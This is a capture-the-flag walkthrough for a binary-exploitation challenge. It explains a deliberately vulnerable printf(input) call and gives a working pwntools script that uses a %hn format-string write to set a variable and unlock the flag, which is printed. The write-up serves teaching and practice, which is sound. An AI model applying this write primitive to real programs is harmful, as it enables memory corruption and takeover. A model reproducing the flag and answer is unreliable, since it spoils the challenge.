

Ebony Maw's Persuasion Protocol

MIRAGE 2.0 — Binary Exploitation — Walkthrough

CATEGORY	DIFFICULTY	PORT
Pwn / Binary Exploitation	Easy-Medium (245 pts)	1337/tcp
FILES	VULNERABILITY	STATUS
vault.c (source provided)	Format-string arbitrary write	Solved

Step 1 — First Contact

“The vault will listen to exactly one message... Convince the security core to hand over control.” Connecting shows a single prompt, `Persuasion:`, that accepts one line and then the connection either grants or denies access. With the full source provided, the next step is reading it rather than guessing at the wire protocol.

Step 2 — Reading the Source

```
volatile unsigned short persuasion __attribute__((aligned(16))) = 0;

int main(void) {
    char input[256];
    ...
    fgets(input, sizeof(input), stdin);
    printf(input);                /* INTENTIONAL FORMAT-STRING VULNERABILITY */
    if (persuasion == MAGIC)      /* MAGIC == 0xc0de */
        grant_access();          /* reads and prints /flag */
}
```

Two lines matter. First, `printf(input)` passes attacker-controlled data directly as the *format string* itself, rather than as an argument to a fixed format string like `printf("%s", input)` — so any % directive typed into the prompt is interpreted by `printf`. Second, the win condition is nothing more than a single global 16-bit variable, `persuasion`, needing to equal `0xc0de`. Since the binary is built `-no-pie`, that variable's address is a fixed, known constant — no leak of any kind is required before attacking it.

Step 3 — Turning a Format-String Bug Into a Write

Format-string bugs aren't just an information leak (`%x`, `%s`) — the `%n` family of directives (and its 16-bit variant, `%hn`) tells `printf` to *write* the number of characters printed so far to an address supplied as one of its arguments. The trick is getting our own chosen address to actually be one of those arguments: because `input` itself sits on the stack, appending raw address bytes to the end of our input string places that address at a predictable stack position that `printf` will read as one of its numbered arguments via `%.N$hn`.

The organizer's own solve script spells out the exact recipe:

```
fmt = b'%49374c%11$hn'
payload = fmt.ljust(40, b'A') + p64(persuasion_address)
```

`%49374c` forces `printf` to pad its output until exactly 49,374 characters have been printed in total (`0xc0de` = 49374 in decimal — the exact value `persuasion` needs to become). `%11$hn` then writes the low 16 bits of that running count — `0xc0de` exactly — to whatever address sits at the 11th `printf` argument slot. The 40-byte padding before the appended address exists purely to push that address into position 11 on the argument stack.

Step 4 — Running It

```
from pwn import *

elf = context.binary = ELF('./vault', checksec=False)
io = remote('<host>', 1337)

persuasion = elf.symbols['persuasion']
fmt = b'%49374c%11$hn'
payload = fmt.ljust(40, b'A') + p64(persuasion)

io.sendlineafter(b'Persuasion: ', payload)
io.interactive()
```

FLAG

```
MIRAGE{ebony_maw_format_string_persuasion}
```

Takeaway

Any call of the shape `printf(user_input)` — as opposed to `printf("%s", user_input)` — should be treated as a full read/write primitive over the process, not just a curiosity. Reading a win condition as “just a variable comparison” is also worth a second look: a variable that’s never assigned anywhere in the visible control flow is a strong hint that the intended path to set it lies outside normal program logic entirely.